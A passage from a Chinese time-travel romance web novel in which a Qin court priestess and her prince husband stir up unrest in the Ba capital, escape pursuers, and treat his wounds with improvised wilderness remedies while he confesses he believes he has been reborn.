“我推算出的占卜结果,和王女的梦印证,王女决定献祭的前一夜,和我说起另一个预言之梦。十七年后,会有一位秦国公子,名华者,来到巴国,她让我一定要救他。” “拿出蛊虫救了他,就也得救你,我不救,国内还有别人救。” 老巫叹口气,“我的恩报完了。” 楚越一头雾水,“他又没中毒” 她似乎反应过来了,“剑上也有毒?” 蜀人真玩不起。 十七年前 楚越心中一震。 这个数字过于巧合,她恰好是十七年前穿越到这个世界的,也是在十七年前,她遇见了嬴华,嬴华的噩梦,也源于十七年前。 不是十八年后又是一条好汉吗? 这个十七年是怎么回事?算十八分之十七好汉吗? 她还在想,那边老巫说完,便要起身告辞,嬴华的声音很快在外响起,“我送老媪。” 楚越坐在屋中,冥思苦想,脑中忽然一亮,扶着桌案站了起来,对外喊道:“嬴华!嬴华!” 嬴华才走出去几步,听见楚越焦急的呼唤声,以为她出了什么事,当即撇下老巫,折返屋中,“怎么了?” 她摸索着,踉跄朝嬴华方向走了过去,嬴华上前,扶住她,楚越抓住他手腕,“我知道了,我能解你的梦了。” 嬴华一愣。 “你梦中那个人,是王女姬荷。” 楚越一番话,石破天惊。 “这位姬荷王女,和你一样,都梦到了将来,但是王女无法接受秦国灭亡了巴国,于是乎,选择了殉社稷。” 真相只有一个! 那就是她这个大祭司不会预言,但是嬴华这个公子能做预言梦。 和嬴华一样的,还有姬荷。 既定的将来,只有两种选择,要么接受,顺着时代的洪流往前,在缝隙中艰难保全自己。也还有另一种选择,就是完完全全、干干脆脆不接受。 不能改变别人的命运,但能够主宰自己的生死。 姬荷,或许就是这样的人。 她一死,嬴华梦中预见的一切,便都成了幻梦。 “那个人也不是我,你还是找错人了。”楚越认真道。 姬荷死了,故事便缺了一角,她和季孟,都是阴差阳错成为这一处凹陷的替补,先是季孟,再是她,爱一个人的感觉一旦出现,就很难遗忘、消失。 但会放错地方。 合理,太合理了!楚越不禁在心中为自己鼓掌。 成功帮助自己的老公,找到真正的初恋,这才是真正的正室风范,嫡妻胸襟。怎么会有她这么既聪明,又大度的人! 嬴华听完,一时沉默,良久,他才道:“这只是你的一番猜测,没有实证。” “怎么没有,巴后宫中,有王姬的画像,是不是她,你看一眼就知道了。” “不去。”嬴华断然拒绝。 楚越‘嘶’的吸口气,“你要去,不管我猜的对不对,你都要去。” 嬴华一时倔了起来,“我不去。” “不去咱们怎么进宫?” 嬴华一愣,眼珠稍微转了下,反应过来,“你要做什么?” “司马将军不是传讯,说大军已经准备妥当,咱们带着的卫队,难道不也是一支军队吗?巴国不止和秦国接壤,也跟楚国接壤,一旦秦军动作慢了,巴国向楚国求救,楚国势必不会坐视秦国占据嘉陵江、长江上游。” “巴王已经对我们生出了防范之心,咱们想离开,就不太容易了,既然如此!” 巴王虽然暂时没有对秦军有所防范,但那之后,还是听从大臣建议,但派遣了重兵,将楚越与嬴华居住的馆驿团团围住,名为防范蜀人,保证大司巫安全,实则软禁。 有人质在手,巴王才会安心。 “不如兵锋朝内!杀他个出其不意!挟持巴王、巴后,再不行,在巴都中闹个天翻地覆。” “我们先就这件事造势,引巴王巴后注意,然后带着小队兵力入宫,里应外合,控制王宫,做司马将军的内应。” 楚越越说越兴奋。 军功有了,贤夫人也做了。 她真是当世女子的楷模,列女传第一页就要写她。 “不行。”嬴华断然拒绝,“你现在这个样子,带什么兵,入什么宫?”【你现在阅读的是 】 50-60 第51章 阳明心学论阳明心学在战国时代的实践…… 金属的虎符搁在几案上,围坐几人,面色皆是一凝,嬴华脸色最难看,面对自己的反对,楚越一言不发,从袖中摸出了虎符。 深黑的老虎威风凛凛。从中剖开,背面错金铭文规整,一半在统兵都尉手中,一半在楚越手中。 出发之前,作为主帅的司马错,将卫队的虎符交给了她,秦军调动,虎符是必不可缺之物。 现在,虎符在她手里。 也就是说,她可以绕过所有人的反对,指挥他们的卫队,也不多,三百人,但都是百里挑一的秦锐士。 “我们来巴,可不是为了给巴王当人质,威胁秦军,巴军人多,又对我们起了戒心,为今之计,与其坐以待毙,只有先下手为强。” 都尉看向嬴华,诙与孟守先看了一眼楚越,而后才看向面色凝重的嬴华。 几位百夫长对视一眼,肯定的点了点头,诙看了看孟守,见他低下头,只得开口劝道: “大司巫,出击是必然,但是,以你现在的身体情况,还是将这件事交给我们吧,你和公子、婼先行离开。” 楚越抬手,打断诙的话,“这件事容后再说,我不是逞强的人,肯定不会白白去送死,但我也不能眼中只有自己,将你们丢在这里,是我把你们带出来,也是我做的决定,我必须要保证计划的完整与安全。” 闻此,众人脸上的凝重才减弱,微微松了口气。 几位百夫长看向楚越,眼底有些动容。 众人综合这段时间在巴国王宫附近查探的消息,各抒己见。楚越设想的‘擒贼擒王’斩首策略,第一个被否决。 “我们的人手太少了,要想控制巴国王宫,起码要有两倍以上兵力才行。” “如果控制不了王宫,搞出些动乱也行,越来越好,最好能让巴人在一定时间内,反应不过来。”嬴华若有所思道。 “还是不够。”都尉摇头道。 “也不是不够。”楚越忽然道:“巴国前不久,有奴隶叛乱。” 巴国偏僻,奴隶制度依旧保存,不少奴隶不堪忍受贵族盘剥,奋起抵抗,逃亡深山。 “贵族们穷奢极欲,奴隶们已经无法忍受,而且巴都中的奴隶,不在少数,还有很多穷苦的百姓,加上他们,是不是就够了。” 要发动人民群众的力量。 打世族分田地是来不及了,不能真正解救,那就挑起他们之间更深的矛盾,让他们打。 “我们重点攻击武库,粮仓 ,将武器和粮食分发下去,我们再从中制造混乱,让巴国内部大乱。” “再散布点流言,就说,秦军来了不交粮,还发地,编户齐民。” 对不起了,闯王。楚越在心里默默道。 春秋战国,参政是肉食者的特权,寻常百姓只用种地交租,便算履行义务,至于奴隶,连人都算不上。 巴人根本不会管谁当王,周王、秦王、巴王,哪怕是蜀王,只要能让他们吃饱饭,就是好大王。 至于她,她就是那个不叮无缝蛋的苍蝇。 国内有缝,让叮了是活该。 “可是口说无凭,怎能取信于民。”有人忧心道。 说起凭证,楚越脑海中忽然又一亮,“有,怎么没有。” 一大筐空白竹片,被搬到楚越眼前,楚越捏了一把,塞到嬴华手中,又给每个人分了一把。 “在上面写——持此竹片者,秦军分毫不扰。” 嬴华捏着空白竹片,眼前一亮,“这法子好!” 楚越笑了,“有人提起凭证,我才忽然想起。寻常人不识字,但其实识字的比不认字的更容易蛊惑。” “‘破山中贼易,破心中贼难。’【1】” “秦军强而巴军弱,并非所有巴人都愿意为巴王而死,家产在,换个王,也是贵族。这样一来,巴民、巴贵族、巴王,相互猜忌,打成一片,于我们,大有裨益。” 孟守掂了掂手中的竹片,“好狠毒的计策,反正就是个竹片,捡了,以备不患。巴王要是不管,怕里面出内奸,巴王要是彻查,但谁又全然干净,能经得起查呢?上下离心,还如何能共御外辱?” “关窍不在计策,而在秦军之强。”楚越冷静道,“秦军强,巴人才会畏惧,是恐惧、未知,才让他们捡起竹片。” “好了不说了,快写!”楚越催促道。 时间紧急,能多写一片就多写一片。 这种机密文件,楚越不放心交给外人,诙不太认识字,主动请缨为众人放哨。 楚越视力虽不好,但凑近了还是能看出一二,她眯着眼睛,就着窗外光亮,一笔一划在竹片下写出巴文。 战国末期,各国文字已经隐隐有了一统的趋势,但还是有所不同,为了保险起见,楚越决定使用巴文。 最初写出的一批竹片,成果不佳,与其说是写,不如说是鬼画符,楚越看着歪歪扭扭的字,无奈叹口气。 毛笔太软,篆书笔画又多。 要老命了。 刮了重写! 写到后面,竹片上的字渐渐成型,写了一会儿,婼拿来竹筐,捡起晾晒在地面、墨迹已经干涸的竹片。 “欸。”她有些惊奇道:“楚越的字,怎么和公子的字这么相似。” 婼诧异望向楚越,又噗嗤声笑了出来,笑声接连响起,楚越十分困惑,“怎么了?” “摸摸你的鼻子。”嬴华笑着提醒道。 楚越伸手一摸,再凑近一看,手心一片漆黑,离竹片太近,未干的墨水沾到了脸上。 她认真擦了擦,四周的笑声却越来越大。 “别抹了。”嬴华强忍笑意,“本来只黑了鼻子一点,现在手脸都黑了。” 一道人影蓦然靠近,嬴华的面容在眼前清晰,他盯着楚越的脸,眼中含笑。 楚越蹙眉,面露不悦,嬴华这才笑着伸手接过一旁人递来的湿巾,为她擦起脸来。 他的动作粗犷,毛巾盖在楚越脸上,一顿揉搓,楚越直往后躲,于是,另一只手又掐住了她的脖子。 好不容易擦完了脸,还有手,还是一样搓法,嬴华的手掌宽大,隔着毛巾,裹住她的手,拇指碾过掌心、手指,带走墨迹。 楚越用力抽回手,“你要搓掉我的皮吗?” “擦不掉啊。”嬴华无奈。 一段小插曲之后,众人继续赶工,婼继续收地上的竹片,她一边收,一边感慨道:“你们夫妇的字,真是越写越像了。” “当然像,她可是我教的。”嬴华口气中带着几分自豪。 “算了吧,我本来就认识,只是不会写罢了。” 毕竟是研究秦史的,不认识篆书怎么研究?战国末期到秦初,文字没有太大变化。而且汉语发展一脉相承,很多字看形就能认出来。 但认识和能写,是两码事。 “说起写,我忽然想起来了。你以前跟我学写字的时候,可比这狼狈多了,弄得满身满手满脸都是黑墨。我被你气得笑了,你也笑,一笑,倒显得牙格外白。” 嬴华说完,又笑了出来。 众人也忍俊不禁,全然不在乎黑人牙膏代言人的死活。 一分钱代言费没收到,还被人嘲笑,楚越愤愤对众人道:“不许笑!” 也不怕掉功德。 功德-1-1-1-1-1。 婼哄她道:“好,我不笑,原来楚越的字,是公子教的,难怪” 话说了一半,她不说了。 “难怪什么?”嬴华好奇追问。 婼这才笑道:“难怪这么难看,原来是教的人就写的难看。” 嬴华顿时认真起来,“哎你!” “噗嗤。” 一向安静写字的孟守,终于忍不住笑出声来 嬴华看向孟守,“你!” “学字的时候翻墙出去玩了,那能写好吗,自己都写不好,还自信的要教我。”楚越幽幽道。 嬴华立刻制止道:“楚越!” 众人却已经笑了起来,“哈哈哈哈哈。” 竹片制完,已经三日之后,司马错派人传来消息,大军即将对巴国发动攻击,让楚越与嬴华,尽早抽身。 楚越召集众将,将消息告知他们。 都尉道:“车船都已经备好,山路崎岖,如果不能直接进入秦国关隘,就迅速转水路,沿着嘉陵江一路往下,进入楚国境内。” “我不走。”嬴华道,“我是秦国公子,危难之时,岂有后退之理,我留下领兵。” “不可以。”楚越义正言辞拒绝道。 这里所有人都可以有事,唯独嬴华不行,按秦律,将领战死,属下要负责,王弟要是嘎嘣了,他们也不用回秦国了,直接转道往楚国跑吧。 或许是觉察到自己口气太过强硬,楚越垂眸,换了个稍微平和的态度,“那我怎么办?我现在看也看不到,要是被巴军追杀,岂非要死在这里。” “护卫会保护你回去。”嬴华道。 他铁了心要留下,做秦军的内应。 楚越不敢留他涉险,“你不走我也不走。” 嬴华‘啧’了声,“楚越。” 楚越别过头,干脆无理取闹起来。 众将见状,识趣的退了出去,嬴华在楚越身边坐下,手背骤然一暖,他的手,覆盖在了楚越的手背,楚越抽出手,侧首望向嬴华。 虽然看不太清,但她的眼中神色坚定。 “我知道你是公子,要为秦国而战,你也是武将,有足够的能力,但现在的情况很危险,我们在巴国的地盘上,你要是出事,这些人都回不了秦国,将士浴血,你就不要再给他们添乱了。” 模糊中,楚越看见嬴华望着自己良久,最终垂首,将头偏向一边,声音低沉道: “我只是想看看,你说的那幅画像。是否姬荷王女,真是我梦中那个人。” 楚越愣了一下,显然没想到自己随口编的东西,嬴华不仅会相信,还要冒着是生命危险,去查证真假。 “你很在乎梦中那个人吗?” 嬴华没有回答,或者说,他无法回答,回答,意味着面对,可是他无法面对。 如果他梦中那个人的确是姬荷,那他对楚越的感情,又算什么?如果那个人不是,梦又是什么?他为之期待,为之等 待的,又是什么? 当人的感觉,人内心的声音,和现实发生冲突,究竟应该听从谁的声音? 沉默,在两人之间蔓延,楚越叹口气,打破了这漫长的寂静,对嬴华道:“看画像也不一定要进宫,老巫不是见过,让她画。” 一点也不懂得变通。 “不是。”嬴华忽然开口道,“我不是在乎那幅画,我是在乎你的话。我坚信自己没有找错人,不是因为先有了感情,才有人寄托,而是先因为你,这份感情才落下生根。” “以前,我没有听你的话,错过了很多,重蹈覆辙,是愚蠢的。” 老巫很快被请来,绘有王女画像的丝帛,从嬴华手中飘落,楚越十分困惑,摸索着捡起了地上的帛画,凑近一看,画上少女明艳,令人一看,便觉眼前一亮。 压抑的哭声,模糊而断续,楚越侧耳,认真搜寻声音的来源,却惊愕的发现,这哭声居然是从身后,从嬴华身上传来。 铮铮铁血男儿,此刻双手掩面,痛苦抱住自己的头,难抑的留下热泪。 楚越心中一惊。 这是什么言出法随? 老巫摇头,“不会再有交集的命运,像不同流向的大河,各自去往他方。” 自己故弄玄虚多了,再听别人故弄玄虚,楚越下意识想杠一下。 河流,也会改道,不仅有改道,还有凌汛。两条现在不交汇的河,谁也不知道将来。毕竟,三十年河东,三十年河西。 这老巫,一看就没学过地理。 嬴华慢慢抬起头,冷不丁问道:“若是有人,逆流而上呢?” 第52章 真相她似乎仿佛好像就是姬荷,没人知…… 秦军发动攻击,迫在眉睫,楚越、嬴华在布置完兵力部署后,和护卫分批乔装离开巴都。 一路上,嬴华都始终沉默,一言不发,紧紧拽着楚越,他的力气很大,大到捏得她的手臂血液流通不畅,隐隐发麻。 楚越挣了两次,对方都没有松手。 虽然看不清晰,但楚越明显可以感觉到嬴华的变化,从见到王女的画像开始,他就开始变得沉默,整个人笼罩在一种死寂之间,了无生机。 他带着楚越,离开巴都,走了很长一段山路后,楚越听见了深林鸟叫,一行人也在山坡驻足。 楚越知道,嬴华一定是在看巴都的情况,不出意外,此时巴都,已经陷入混乱,国内大乱,早已准备好的秦军,也是趁势发动攻击。 过了许久,嬴华才继续启程,翻过一座山后,众人的脚步变得急促,楚越敏锐觉察到了什么,问道“怎么了?” 片刻,嬴华低沉的声音,才在耳边响起,他没说真话,“没事。” 情况显然并非嬴华说的那样轻松,众人赶路的步伐愈发急促,到最后,嬴华索性背起了楚越。 视线朦胧,楚越发现随行人员越来越少,隐约还可以听见身后传来的刀兵声。 巴国追兵紧追不舍,大半护卫都去执行任务,留在他们身边的,只有少量士卒,他们对巴国附近的地形不熟悉,很快就被抄小路的巴人赶上。 嬴华不得不放下楚越,拔剑与之对垒,眼前殷红一片,他拽着楚越的手,且战且退。 手忽然松了,朦胧间一道黑影朝她扑了过来,看身量并不是嬴华,她当即闪开,那人惨叫一声,声音在空谷中回荡。 楚越这才意识到身后是悬崖,惶恐的往相反方向退了一步,谁料这一步迈出,脚下顿时一空。 该死,这破山地。 想象中的失重感没有出现,一只手抓住了她,她紧紧抓住那根救命稻草,嬴华用力将她往上拉,就在她以为自己要得救之时,有东西纷纷扬扬落到了她头上。 摸了摸,似乎是泥土。 下一瞬,坠落感便从四面八方袭来,将她包裹。悬崖边泥土松软,承受不起两人的重量,整片垮塌。 不知过了多久,楚越才清醒过来,挣扎着从地上爬起,摔了一下,眼前陡然清明起来,她能看见了。虽然还是有些模糊,却只有些轻度近视的感觉。 环顾四周,身边并没有嬴华的身影,反倒是几个巴人,身影若隐若现,楚越立刻躲在树后。 全身上下摸了摸,什么也没有。 她捡了块石头,起身时,顺手拨了一下一旁的树枝,而后绕着树,转了过去,果不其然,一个巴人被这边响动吸引,从树后绕了过来。 就在兵刃出现眼前那一瞬,楚越手起石落,但听一声金石之音,剑应声而落。 格斗准备! 秦军的格杀精要,直取人要害,楚越抬腿,第一脚先攻两条腿之间,而后趁对方低头,挥拳以食指关节向其太阳穴。 第一招,一万。 第二招,十万。 最后捡起剑,无期徒刑。 打斗声吸引来附近巴人,楚越提着剑,迅速撤离。 有武器在手,她一边小心注意身边的环境,一边在树林中搜寻嬴华的身影,没过多久,她便在不远处的一处荫蔽处,找到了嬴华。 她想带他走,但嬴华挣扎了半天,却瘫坐在地,楚越觉察他异样,询问道:“你怎么了?” “没事。”他还是那句。 楚越放下剑,检查过嬴华全身,他戎袍之下的小口裤,已全被鲜血染红,伤口被处理过,大腿上方,扎了止血带,伤口也用绷带缠过,却已经被鲜血染透,甚至渗到了衣服。 显然,伤口很长,楚越解开绷带,也的确是这样。 嬴华的腿不知道被什么,划出道很长的伤口。 不缝合显然是不行的。 楚越抬首,山势陡峭,方才两人从山坡上滚下来的时候,他下意识护住了自己,这么摔,也没死,的确命大。 伤口不断渗血,楚越知道,再这样流下去,他可就要失血过多而死了。 但荒山野岭,别说缝合,就是绷带,都是嬴华从自己衣服上撕下来的。 手背忽然一痛,几只军蚁用下颚叮住了她的手背,地面小孔浑圆,正是蚁穴入口,蚂蚁为了捍卫自己的家园,无畏朝她这庞然大物袭来。 巴蜀气候湿润,多虫蚁,而且个头不小,工蚁的下颚,咬穿她手背,点点血珠,冒了出来。 玛雅人的故事,最好是真的。 楚越抓起一只蚂蚁,放在嬴华伤口旁,当蚂蚁的下颚贯穿皮肤,合拢一起之际,楚越就拧掉它的头。 虽然这不太卫生,甚至全菌。 但只有能活下去的人,才配谈感染。 楚越正为嬴华处理伤口,头顶忽然传来道虚弱而低沉的声音。 “别怕,我不会死。”嬴华安慰楚越道,“我死了” 他似乎想要说什么,但一开口,却又仿佛想起什么,声音一度哽咽。 楚越意识到,嬴华这话,应该不是说给自己,她想了想,扶起嬴华,一边走一边问道:“什么是逆流而上?” 一阵沉默之后,嬴华忽然很轻的问道:“你相信死而复生吗?” “相信。”楚越不假思索道。 她不仅是死而复生的例子,还是借尸还魂的例子。 穿越者遇上重生者,绝了。 嬴华很意外,侧首望向她,“你居然不怀疑吗?” 楚越瞳孔缩了下,意识到自己说得太快。 死嘴,总比脑子快一步。 “我以前听说过,也见过,所以不觉得意外。”她找补道。 嬴华将信将疑,许久,才继续道:“我和你讲个故事,你就知道是什么了。” “好,你慢慢说。”楚越想尽办法和嬴华说话,提起他的注意力,避免他晕倒过去。 这要是晕了 “巴国的王女在出嫁楚国途中,遇见了秦国公子,这位公子,一眼就爱慕上了船上的少女,大胆向她示爱。王女,因此逃婚。” “他们在一起了,度过了漫长而美好的一段日子,只是好景不长,秦灭了巴国。王女和公子,都各自爱着他们的国家。” “ 他们不再见面。” “后来,楚国支持巴国复国,王女,成为了在秦的细作,公子很痛苦,痛苦的快要死了,可是他能怎么办?他的偏袒,引来了兄长的猜忌。” “为了证明自己对国家、君主、亲人的忠诚,他不顾受伤的身体,继续上了战场。不出意外,他为自己固执付出了生命的代价。” “公子本来应该死去,但他从黑暗中睁开眼睛,又回到了许多年前,什么都还没发生的时候。刚开始,他以为一切是场梦,可后来发生的事情,印证了这些梦,他开始怀疑,自己是否死而复生。” “可是这个时候,又出现了一个和之前不同的人,他越来越相信,自己只是做了一个梦。直到他重新发现了王女的存在,才敢真的相信一切。” 说完这一切,嬴华再度看向了楚越。 楚越也看了嬴华一眼,大概明白他在说什么,“你想说,那个和之前不一样的人是我,而你,在看到王女的画像之后,确认自己是死而复生。” “是。” 迎娶季孟,让嬴华满是期待的心,沉沉落下。 他越来越怀疑自己的梦,以及梦中那个人,是否只是一时幻想。 如果这个人是真实存在的,那么又为什么,没有如他梦境中发生的那样,出现在他生命中? 原来,他要等的那个人,不再愿意与他相遇。 巴国的王女姬荷,真是嬴华梦中那个女子,可她早死在了十七年前,一场大火,尸骨无存。 “好了。别说话了,再废话那么多,你该失血死了。”楚越用布带,将自己和嬴华的手绑在一起,前方,大雾弥漫,即将朝他们飘来。 “山里的环境变化莫测,晚上还会很冷,血腥味会引来猛兽,天很快就黑了,我们要找一个安全的地方。” 幸好,视力依旧在恢复,不然这次,就真的死定了。 浓雾很快弥漫,楚越和嬴华站在密林之中,往前看不见路,往后也找不见近在咫尺的彼此。 唯一联系两人的,是手腕上那截布带。 楚越撕破了衣服,搓成绳子,将他们连在一起。 嬴华看不到她,但可以感觉到,那种强烈的,跨越了一切的感觉,再度涌上心头。 绳不断,他们就知道,对方还在。 他可以感觉到,对方一直在的。 楚越望着眼前大雾,一时犯了难,这怎么才能走出去啊? 就在她冥思苦想之际,身后忽然一暖,血腥气骤然浓烈起来,嬴华自后保住她,眼泪顺着下巴流入楚越发间。 “你能不能告诉我,你到底是谁?” 楚越很冷静,深吸口气,“别哭了,你原本就失血过多,再哭,会脱水的。我?我是楚越。” “姬荷已经死了,她作为巴国的王女、大祭司,为了巴国的社稷死了,你只是做了一场亦真亦假的梦,现在,你要跟我活着回到秦国。” 嬴华深吸口气,“我死了,你就可以改嫁给心爱的人了,这不正合你所愿吗?” “神不知鬼不觉,让我一个人死在这里,也无人知晓,你不用救我。” “你不是希望我死吗?桑丘之战,你不是希望我死吗?你之所以妥协,也是因为你知道我的死期吧。我死在蓝田之战,不远了。” 他的声音不大,却字句清晰。 想起前生的事情,嬴华才恍然大悟,为什么楚越这么恨自己,还要嫁给自己,因为他是个快死的人。 熟悉的恨意,更加剧熟悉感。 “我只想知道,你到底是谁,你不会是巫咸族人,而更可能是魏人殷。那你作为魏人,又为什么要来到秦国?” “一个七八岁的孩子,怎么可能如成人一样?你自己也说过,你不是个孩子。你到底是谁?” 楚越没了耐心,挣开嬴华,“我是谁关你什么事!” 嬴华伸手,抓住她手臂,楚越蹙眉,想要挣开,嬴华锲而不舍,两人一时缠斗起来,相互遏住对方手腕。 鲜血渗透布帛,从指缝溢出。 楚越松了手,逼问道“你到底摔哪儿来?” 看样子,他不止摔了腿,手臂很可能也摔了,嬴华不说话,只是抓着她不放,她到底心软,不敢动了。 她怕自己再动,嬴华一使劲,伤口裂得更严重,真死在自己眼前。 “真相有那么重要吗?姬荷已经死了,你再爱上别人,不丢人。” 而且,这个人还是她。 算他眼光不错。 “你到底是谁?”嬴华锲而不舍,语气坚定,似乎已经确认了什么。 “我是谁重要吗?我说是,没证据证明,我说不是,也没证据。我就是我自己,我就是楚越。” “你是死而复生的嬴华,我可不是死而复生的姬荷。” 嬴华不说话,只是望着楚越,那目光,坚定而锐利,似乎要洞穿她的内心,楚越垂眸,避开他的视线。 “烦死了,走不走,不走你就死这儿吧。”楚越转身就走,嬴华却一步不动,站在原地。 楚越走了两步,回过头,“一会儿天黑了,巴军追上来了,快走!” 嬴华还是不动。 楚越没办法了。 大雾中,眼前人影若隐若现,恰似当日梦中,河边少年苦苦追寻。 遇见时不以为意,等到失去,才觉得心急如焚,那道身影消失眼前,她才想要追寻。 梦中楚越沿着河流一路而上,四处搜寻那道身影,那熟悉的感觉,与当日宫檐下眺望落日的心境如出一辙。 她在等一个人,这个人,不知道是谁,也不知道什么时候出现,但她就是想等。 “你知道,那位公子要是死了,秦人会怎么对待那位王女吗?”楚越顿了一下,“他们会烧死她,将她架在火堆上,活活烧死。” 作为穿越者,她的思维当然比嬴华更领先,所以当老巫的话出口,她脑海中便生出了某种大胆的猜测。 楚越用开玩笑的方式说了出来。 但有一部分她选择了隐藏,就是自己的出现,和姬荷之死,时间上的巧合。 这段日子,她五感衰退,心上却意外清明起来,看得见的,不一定是真的,人,更该相信自己的感觉。 穿越千年光景的惶恐,独处异世的茫然,在看到嬴华的时候,全都荡然无存。 十几年后的今天,楚越才终于找到一丝真相的端倪,多年前的感觉究竟来自哪里? 爱一个人的感觉,跨过岁月,留在了灵魂之中。 他们都是为了彼此而来。 逆流而上,穿越生死,与千年时光,只为对方而来 可这似乎是真相的东西,来的太迟了。 第53章 三人行三个人的世界有点拥挤 两人走出浓雾,被冲散的护卫恰好也正在找他们,双方汇合,他们身上携带了基础的药品,重新为嬴华处理了伤口。 但到了晚上,楚越担心的事情还是发生了,蚂蚁的生活环境复杂,嬴华的伤口感染了。 他高烧不退,到了后半夜,整个人烧得抽搐起来,再这样下去,他一定会死,护卫十分担忧,询问楚越道:“夫人,怎么办?” 没人知道怎么办,一旦嬴华死了,谁来为他的死负责?承受秦王与宗室的伤痛呢? 洞外警戒的护卫匆匆入内,“夫人,巴军正在靠近,我们快走吧。” 处于出门查看,山洞外树林,火光点点,搜捕他们的巴军,一点点逼近。楚越想起洞内滚烫,不停抽搐的嬴华,沉思片刻,最终下令道: “点火,引他们过来。” 进退都是死,将嬴华交给巴军,或许还有一丝生机,只希望巴军看在他的身份上,投鼠忌器,救他而非杀他。 护卫有些迟疑,“夫人,这?万一巴人杀了公子怎么办?或者,以他威胁秦军退兵。” “活人更能做巴人的筹码,巴人应该不会让他死,至于以他要挟秦军,等发生了再说吧。” “可”护卫依旧迟疑。 楚越知道他们在担心什么,“巴人若敢杀他,我敢保证,城破之日,所有人都要给他陪葬。” 蚯蚓竖着劈,鸡蛋摇散黄。 密林中的脚步声窸窣,巴人来的比预想中要快,楚越匆匆将嬴华放下,带着护卫离开,荫蔽在黑暗中,打量着来人的举动。 一旦来人展现出对嬴华的杀意,楚越就杀了他们。 他们是摸黑上来的,也没有大张旗鼓点火照明,几支火把光亮微弱,令人意外的是,来人并非巴军,而是一队巴人装扮的男子,天色太黑,楚越看不太清,思索之下,趁着夜色大胆逼近,想要看清来人面容。 洞口火光,照亮为首男子的脸。 是魏冉。 隔得太近,魏冉也敏锐发觉了黑暗中的异常,手按在腰间剑上,楚越立刻举起手,喊道:“是我,大司巫楚越。” 魏冉将信将疑,“把武器放下,往前走。” 楚越照令而行,往前走到光亮下,魏冉认出了楚越,这才松了口气,“我的天神,可算找到你了。” “魏冉,你快进来看。”洞内,白起的声音焦急。 魏冉和白起的出现,解了楚越燃眉之急,他们在山中,截杀巴军,为楚越争取到了救治嬴华的机会。 楚越不断用凉水擦拭嬴华全身,脱下他的衣服,楚越才发现,他浑身是伤,尤其是后背,全是淤青。 天亮之后,她让护卫继续照顾嬴华,自己到山中找寻草药,半吊子医术尚未付诸实践,嬴华成了她第一个小白鼠,山中气候湿润,草木旺盛,能救命的药材,藏在其中,等着楚越去认。 书里没给图片,只有一些特征,边缘锋利、植株矮小 像、都太像了。 楚越一副药凑得忐忑,虽然药可能不对,使用方法也可能不对 望着面前小罐中正沸腾的一锅颜色怪异的女巫汤,楚越不免叹气,要是婼在就好了,但婼一直在追随老巫学习医术,若是忽然消失,必然会让巴人产生警惕,为了楚越和嬴华能够安然离去,她也选择留了下来。 正在她望汤兴叹之际,白起一手提剑,另一手扯着衣摆,不知兜着什么。他顺着小路绕到楚越跟前,要将衣摆里兜着的东西给她。 楚越伸头一看,好多折耳根。 这是打算拌点凉菜吃吗? “用这个煮水,多让他喝水。” 楚越这才想起,原来是药材,折耳根又名鱼腥草,有消炎、解毒的效果。 她一拍脑袋,“昏头了,我怎么就没想到呢。” 白起抬眸,看了她一眼,须臾,出声宽慰道:“你也不要太担心了,公子一定会没事的。” 楚越听出白起话后情绪,却不知该说些什么,自己是否应该解释?解释,又是否都有用? “你手怎么了?”楚越垂下的目光,忽然注意到了白起手背上密密麻麻的疹子。 白起低头,才发现自己手上的异常,不只是手背,手心也一片红肿,“难道被虫子咬了。” “不是。”楚越拉过白起的手,翻开衣袖,好在红肿没有往上蔓延,“你不能碰这个。” 他这是明显的过敏症状。 “除了这个你还碰过别的东西吗?” 白起摇头,“没有。” “你挖了这东西多久了?”楚越追问道。 “一刻钟。” 楚越立刻拉着白起到溪边,用水冲洗他触碰过折耳根的地方,冲着冲着,白起蹙眉,呼吸变得沉重、艰难,楚越望向他,他的唇色已经淡了下去,毫无血色。 她扶着她回到洞中,护卫见状,立刻迎了上来,“怎么了?” “他碰到了一些毒物。” 楚越没办法和这群人讲什么是过敏,说中毒更加直观。 她搀扶白起坐下,将他沾过折耳根的外衣脱了,又让护卫找来石头,铺上干草,垫高白起的上身及下肢。 至此,就看天命了 对过敏,她一点办法都没有。 ‘女巫汤’出锅,楚越吹凉,端到了嬴华嘴边。 喝药了大郎 一个还没救回来,又多另一个,楚越将折耳根煮成水,趁着这间隙,换掉白起手上湿敷降温的巾帕,而后又换掉嬴华头上降温的帕子,做完这一切,折耳根也开锅了。 她正舀汤,魏冉回来了,他一见到楚越,便焦急问道:“你看到白起了吗?” “他中毒了。” “啊?”魏冉大吃一惊。 正欲追问,却发现楚越手中端着热汤,“你点火了?” “放心,没有烟。”楚越将魏冉带到自己挖的无烟灶前,灶上还煨着没喝完的‘女巫汤’。 魏冉对这没有烟的灶孔非常感兴趣,围着它转了一圈,“这陶罐哪儿来的?” “啊?” 楚越没想到魏冉会忽然问这个,一时结巴起来,“捡捡的。” 山洞不是一般的山洞,里面放着很多棺材,西南地区,有穴葬的传统,墓葬具体是哪个年代的,楚越没来得及考究。 她在祭品堆里找到了这个陶罐,这应该是用来装祭品的东西,因为楚越找到它时,里面装着人的头骨 已经白骨化的颅骨,阴森怖人,楚越将颅骨倒出来,挖了个坑掩埋,而后洗干净陶罐,开始烧水。 可能还要用这个罐子做饭,楚越到底没跟魏冉说实话。 魏冉‘哦’了声,也没怀疑。 山很大,巴军人手不足,加之有魏冉刻意将敌人引向别的方向,他们所出的区域,一时安全了起来。 楚越坐在洞口,研究草药,不时回头看看,洞内平坦处,一左一右躺着两个人,左边,是因失血过多而面色潮红的嬴华,右边,是折耳根过敏,面色发白,胸闷气短,有些心悸的白起。 半吊子老中医(还差二十年版)的出师即地狱模式。 一个重伤,不知道有没有内伤,一个急性过敏。 硬着头皮救吧。 不知道是‘女巫汤’还是折耳根水的效果,也有可能是因为嬴华身体好,体抗能力强,他的体温很快降了下来。白起依旧呼吸艰难,但他只是挖了折耳根,除了双手,没有地方接触,症状也在不断减轻,没有持续恶化的情况。 神医,原来是这么练成的?! 干粮硬的像石头,魏冉回来的路上,顺便摘了果子,楚越怕又多一个过敏的人,让他吃之前,先在手腕上试一下。 “这么麻烦?”魏冉‘啧’了声,还是照着楚越说的,在身上试了试,约莫过了一刻钟,见他手腕没有变化,楚越才点头,“吃吧。” 果子很酸,楚越吃了一口,五官皱在了一起,这果子要是出现在她怀珠珠的时候 珠珠,她的胖崽。 有王后照顾她,楚越自是不担心,但母女到底血脉相连,楚越有些想她香香甜甜的大胖丫头了。 魏冉见楚越盯着果子出神,“怎么了?有虫啊?” “没有,就是忽然想起了珠珠。” “嬴随公孙?”魏冉问道。 “是。” “出来前,我见过她,长得可壮实了,别担心。” 